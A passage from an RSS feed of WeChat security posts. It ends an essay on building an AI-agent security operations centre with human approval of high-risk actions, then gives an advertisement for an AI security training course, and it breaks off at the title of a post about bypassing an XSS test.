标配的态势大盘，那些是给&#34;人自己盯系统&#34;的时代设计的，跟工单是同一代产物。人真正需要的界面只有两个：对 Agent 说话的输入框，和看证据、批动作的对话流。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">2.1 还需要一个实时分析引擎</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每天上万条的告警，不可能每条开一个会话去处理：harness 是会话式的，要人发起、要人跟进，不适合海量流水线。所以体系里还需要一个独立于对话控制面的实时分析引擎：用主流的多智能体编排框架（如开源社区的 LangGraph、AutoGen、CrewAI，云厂商的 Google ADK、AWS Strands Agents等），按告警类型编排研判流程，多智能体协作研判：调查取证、定性结论、交叉挑战，7×24 无人值守地跑。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个引擎不只做 T1。第 1 节说的三层研判都跑在它里面：T1 先把明确误报按策略关掉，定不了性的升 T2 深度调查，再定不了性的升 T3，狩猎和定时任务也由它承载。三层跑完，需要人监督、审批的案件才带着证据和结论回流到对话工作台，人处理的还是同一个对话面。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对话面是人的控制台，分析引擎是告警的流水线；前者背靠 harness，后者是自有业务资产，不依赖任何 harness。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">整个平台完整的架构是：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">AI SOC = 大模型 Agent 基座（Codex 式对话面）+ 实时分析引擎（T1/T2/T3 自治研判，独立于 harness）+ MCP（安全设备 + 上下游数据）+ 场景/任务 Skills</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">基座提供智能和人机交互，分析引擎消化海量告警，MCP 接入安全设备和数据，Skill 承载 SOC 的场景知识和业务流程。两个平面共用同一套 Skill、策略和知识库。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个架构对存量安全建设还有一层含义：所有安全平台、设备、上下游基础设施，在这里都降级成数据面和处置面两类角色。SIEM 是日志数据源，SOAR是中间执行层，EDR 是主机数据源加隔离执行器，WAF 和防火墙是封禁执行器，情报平台是数据源，全部通过 MCP/CLI/API 接入。它们自带的控制台、平台功能、工作流，不再是 SOC 的工作面。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对甲方来说，以前研判规则、响应剧本、运营流程都长在厂商平台里，换一家等于推倒重来，安全建设很容易被绑定在某一家的产品和生态里；现在研判逻辑在 skill 里，处置策略在自己的策略层，经验在自己的知识库里，设备换哪家，只是换一套 MCP/CLI/API 接入。向上不绑定某一家 harness，向下不绑定某一家安全产品，大脑始终在自己手里。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">3、主线二：背靠 LLM 大厂的 harness</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">回顾这几年 AI for Security 的工具形态，已经换了四代，这四代我都在业务里实际用过，每一代都踩着 LLM 能力的一次跃升：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第一代，纯文本 Chatbot 辅助分析。把告警、日志贴进对话框让模型帮着分析，人问一句它答一句。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第二代，工作流加 RAG。用 Dify、LangChain 把分析过程编排成工作流，接上知识库和多种数据源，能做多模态分析。但每一步都是人预先编排好的，模型只在节点里干活。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第三代，自主 Agent 框架。OpenClaw、Hermes 这类第三方 harness，模型开始自主规划任务、带记忆、多步执行，不再依赖人预设流程。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第四代，大模型厂自家的 Agent 客户端。Codex、Claude Code，能力反超全部第三方框架，并且随大模型一起进化。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">四代看下来有一个规律：主工作面每一代都被下一代替代，而第四代的推动者是基础大模型公司自己。这也是我们没选 OpenClaw 这类第三方 Agent 框架的原因：第三代拼的是对模型的理解和适配速度，而第四代的作者就是模型的作者，第三方没有胜算。而且大模型公司自己也在往业务端走：组建 FDE（Forward Deployed Engineer，驻场交付工程师）团队、成立咨询部门，直接帮传统企业做智能化落地。夹在大模型和业务中间赚差价的空间，只会越来越小。OpenClaw 的能力已经不如 Codex 和 Claude Code，就是信号。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">被替代的只是&#34;主工作面&#34;的位置，技术本身没有消失，而是沉到了各自合适的层：第二代、第三代的编排和多智能体技术，今天正好用在实时分析引擎的流水线里（第 2 节说的 LangGraph 那一层）；第四代成为人的工作台。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">顺着这个趋势往下推，我的行业判断是：LLM 公司会把中间层全部收走，AGI 到来之前，第三方的生存空间只在业务层。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对做业务层的人来说，这个趋势是顺风：与其开发一个传统的应用平台，不如背靠 LLM 大厂的 harness，深度参与其生态，基于其基座和扩展机制去开发。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">基础大模型公司每进步一步，AI SOC 跟着受益一步：模型更强，研判更准；harness 加了新能力，直接复用。它们的迭代速度变成我们的速度，而不是我们的压力。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这也决定了工程投入的取舍：开发投入集中在大模型不会替我们做的 SOC 业务层，即研判的判据、处置的边界、审批的治理、知识的沉淀；智能和平台能力交给生态。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">选型上用开源基座：开源的 Codex、开源的 DeepSeek Harness。可控、可自托管，这对安全场景是硬要求。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">4、跑通闭环，定好边界，引擎解耦</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">背靠也有背靠的风险：harness 本身可能被淘汰，可能被大模型厂自己的新产品替代，也可能停止维护。解法是架构设计之初就要解耦。具体是三件事。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第一件事，跑通闭环。比如基于 DeepSeek Harness 做 MVP，验证完整的业务链条：告警接入、多智能体研判、确定性策略判定、高风险审批、处置执行、全程审计，一条链跑通。上线路径走影子模式：Agent 先只出结论不执行，跟分析师的实际处理结果对照，拿误关率、漏报率的数据说话，再逐类放开自治范围。自治的开关由客观数据打开，不由个人的一腔热血打开。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第二件事，定好边界。业务解耦不是&#34;以后再做的重构&#34;，是构建期每天都在守的一条线：案件、证据、审批、审计全部落在自己的数据库里，业务接口不依赖 harness 的任何私有机制，界面只跟自己的 API 通信。这条边界定好，换引擎那天只是换一个适配器；定不好就是将来要还的迁移成本。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第三件事，引擎解耦。引擎其实分三层，替换成本完全不同：模型层本来就该多家路由，随时可换；Agent 运行时层（DSH、Codex、Claude 各自的 agent 机制）接口互不兼容，换一次要重写适配器；交互层跟 harness 耦合最深，换引擎基本等于重做。所以适配器接口要按自己的业务需求来定义，不要照着某一家的 API 形状去长，否则名义上可换、实际上换不动。这里的架构设计要再向上抽象一层。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">还有一层兜底：这套体系里真正核心的东西，策略判定、审批治理、审计、知识库、实时分析引擎，本来就都在 harness 之外。无论引擎换到谁家，这些资产永远在自己手里。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">5、总结</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把两条主线各收成一句话。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工作模式上：自己干 → 构建 Agent 干 → 监督 Agent 干 → Agent 替人干。安全工程师的重点工作，是构建 Agent 深度嵌入业务流程，然后监督工作质量、持续优化，只在高风险处置上保留审批权。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">战略上：背靠 LLM 大厂的 harness、深度参与它的生态，大模型的高速迭代是业务智能化过程中最大的红利。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">再说说这对安全工程师个人意味着什么。处理告警的技能在贬值，构建和监督 Agent 的技能已经成为招聘市场的核心竞争力，还在持续升值。今天写在你脑子里的研判经验，只在你值班的八小时起作用；写成 skill 之后，它 7×24 起作用。这件事不用等平台、等立项，现在用 Codex 加几个 MCP 就能开始：把自己最熟的那类告警的研判思路，写成第一个 skill。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">AGI 到来之前，整个行业处在一个中间态，分工正在变清楚：基础大模型公司做智能，顺手收走中间层；harness、通用 Agent 这类中间层公司的空间持续收缩；留给安全厂商和企业安全团队的，是基础大模型公司做不了的业务层——场景知识、企业数据、处置的责任和信任。这三样东西不随模型能力增长而贬值：模型再强，也不知道你的核心资产是哪台服务器、你的误报长什么样、出了事谁来签字。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">窗口期该做什么也就清楚了：智能交给大模型，中间层不碰，专心把自己的场景、经验和数据蒸馏成 Skill。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">窗口有多长没人知道，但对人的影响已经看得清。ChatGPT 刚出来的时候，大家说 AI 会淘汰不会用 AI 的人；放到今天安全从业者的语境里，这句话要更新了：AI 会淘汰不会构建 AI Agent 的人。因为行业已经进入标准化作业的阶段，不再是用 AI 辅助人提效，而是用 AI 蒸馏岗位技能、承担作业，人监督它的运行质量。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以上是我过去一年在 AI for Security 方向上的一些思考，欢迎关注我的公众号，或加入我们的微信群一起交流。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.549520766773163" data-s="300,640" data-type="jpeg" data-w="939" style="width:163px;height:253px;" type="block" data-imgfileid="100001441" src="https://wechat2rss.xlab.app/img-proxy/?k=90996d48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F4yRoMuNP850nPSPAuFaibQIH0wWPcicUZ2oicTRYjMozDZaibfoebxicfUq68Qnzer1U0A6oibXZicMxSy9y6k7ydX2WficrPXlpby9ibRB7LnR3Ccu0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0945a4e4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500644%26idx%3D1%26sn%3D13898d6e62619ba718d5b43a56468cc9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 25 Aug 2026 11:31:00 +0800</pubDate>
    </item>
    <item>
      <title>首期 - AI 应用与攻防实战！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500642&amp;idx=1&amp;sn=4752221d17f0c480d1635c793c42b2be</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>信安之路</span> <span>2026-08-14 11:04</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=af8e27cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTZSTX0AGfFLFQAZXlSzMfE0GibSp7N4ibW3HLbuOWCwhvS0bGSO53hJOvztyYiaadfvzhtia1Orel9CrRAo8Al40OrYF4egzlXtW6c%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span style="color: #0080ff;font-size: 15px;" mpa-font-style="msp0cwna1xfn"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">一、前言</span></span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwna4yc" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Hello大家好，本次推文给大家介绍的是Timeline Sec创办的第三门培训课程--</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">《2026-AI应用与攻防实战培训》（首期）</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">，感兴趣的同学可以继续阅读，看看课程内容是否适合自己。（</span><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 0, 0);">由于是首期，我们决定给到最大优惠力度</span><span textstyle="" style="letter-spacing: 1px;">）</span></span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnawmr" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">培训内容主要围绕</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 0, 0);">AI基础、AI for Security、Security for AI</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">三大模块展开，致力于帮助学员在网络安全技术层面与时俱进，掌握AI在安全领域的应用以及AI安全漏洞的测试方法。</span></span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnaffd" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">考虑到有的同学周末有其他安排，所以把上课时间放在了工作日的</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">晚上20:30</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">；考虑到有的同学工作日加班或者在HW项目无法看直播，我们</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">有课程录播和回放</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">；考虑到有的同学害怕课程内容过时，我们承诺</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">每期都会更新</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">内容并且老学员可一直学习新内容。正式课课表如下：</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;width: 100%;margin-bottom: 0px;box-sizing:border-box;"><img class="rich_pages wxw-img" data-ratio="2.3574074074074076" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014635" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f4d1c370&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F2BVGaFGbdDtcNAuaLicziaPiavgRtmOXMQcz4c02ZAIb5WZ2BhSnYcyZp67lYVFj0vTh9OHBN15WicLxgwdQsBTHZdHuXqYoRTicTl9VQy1bDsibs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwna1t7w" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">二、为什么要学此课程？</span></span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnajw9" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">1、时代的浪潮，大势所趋，每个行业的从业者都要学会用AI；</span></span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnayzn" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2、辅助日常安全工作并提效；</span></span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwna1svj" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">3、跟进最前沿技术，做第一批“吃螃蟹的人”。</span></span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwna1trn" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">三、为什么选择我们？</span></span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnaoy6" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">1、我们是安全技术团队，在研发课程时更注重课程质量，授课讲师均是经验丰富的一线工程师；</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;box-sizing: border-box;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-ratio="0.2212962962962963" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014631" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=65f5df4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F2BVGaFGbdDvVZtTMAYX2SfxdvdXpxfEPqLZQrfhk2zkZgm5gTjqd4ib27c61SmZTReKeicdUNlgqRdibLwYGJzXicd3sMG6pljqQ3IibxfT53Ngk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnapfs" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2、我们之前做过两门课程，分别做到了第八期和第四期、有丰富的培训与教学经验；</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;box-sizing: border-box;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-ratio="0.28425925925925927" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014633" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=698ffde3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F2BVGaFGbdDuM8FnIKJ4rQtNiaLrr75z0cojhTSZvhl9wF03wNGMQdMB7C84qhEPPoE0xqr9mFgN4cRRnEExrezHT33t9lh4k9Q17VpnJS24k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnat5e" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">3、我们更注重实操，每节课均配备实操演示和练习靶场以及课后作业；</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;box-sizing: border-box;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-ratio="0.8092592592592592" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014634" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=48425d32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F2BVGaFGbdDvvibxoZbZCn7GnibkwNddYTiakSGvOicUkz1PIwYnOckWmqBIY4z3XXGShQWbzzrkdPLkichv727rMDqwWJp8ic2sQElF3zh8hnfGxo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwna21ar" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4、我们承诺做与时俱进的课程，每期必会更新，会根据技术的迭代情况和学员的反馈情况来不断完善课程；（SRC往期更新）</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;box-sizing: border-box;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-ratio="0.8018518518518518" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014632" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0346724f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F2BVGaFGbdDsBG2KXYRXIuEF5pQUW6SeaYJ5tRse6oHqajsIXkhHAEZIs0f4yCaMnpNPicVKlgLVJIss3WRLWjBHWUPCMhKvJ7iaHiawMb4BIwU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnaubz" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">5、一次报名永久可学，通过最后的考试可获得本团队的“AI安全工程师”认证证书；</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;width: 100%;margin-bottom: 0px;box-sizing:border-box;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014636" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=5f290f94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F2BVGaFGbdDt2mqT05O0a6wxyhKFX6qibpVvlYMKJkFmPkicvUDKkicZVKu2Ar8q0rI4gDSI1urZ0zkqpkAbHia2mibkpJhoeXYZgtl743wO1hG60%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwnahex" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">6、可参与本团队在各城市的线下见面会和聚餐等活动，结识更多志同道合的朋友。（SRC学员）</span></span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 1.75em;width: 100%;margin-bottom: 0px;box-sizing:border-box;"><img class="rich_pages wxw-img" data-ratio="0.7805555555555556" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto !important;" data-imgfileid="100014637" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=25d1fb56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F2BVGaFGbdDv4vpQoJiaib5PjkBjqanPRibK7ZtgbUOJ2wzics5KDbVxiaaEcH1l2T16deiaqdF4A6R37ZjXNbeI4EhRwoGaTe3rrart8r74toUANA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">希望有机会带给你最前沿的技术内容！</span></span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.75em;"><span mpa-font-style="msp0cwna1wo2" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">更多课程详情可加群</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">进行深度咨询、试听，同时</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">进群可组队报名享组队优惠</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">等👇</span></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.405431619786615" data-s="300,640" data-type="jpeg" data-w="1031" type="block" data-imgfileid="100016991" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=397acd6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTaMLLobneNZcwy4m1TGWOR39bic5Pez9ogthFRKfC4akbFtK70CLW3yPqRQLib6Ixiaya4vgjkmbqrbvthosKFSbEasoQ16ms4KZk%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e928ca72&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500642%26idx%3D1%26sn%3D4752221d17f0c480d1635c793c42b2be">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Aug 2026 11:04:00 +0800</pubDate>
    </item>
    <item>
      <title>测试 XSS 弹窗被重置？绕过它只花了 3 毛钱！</title>
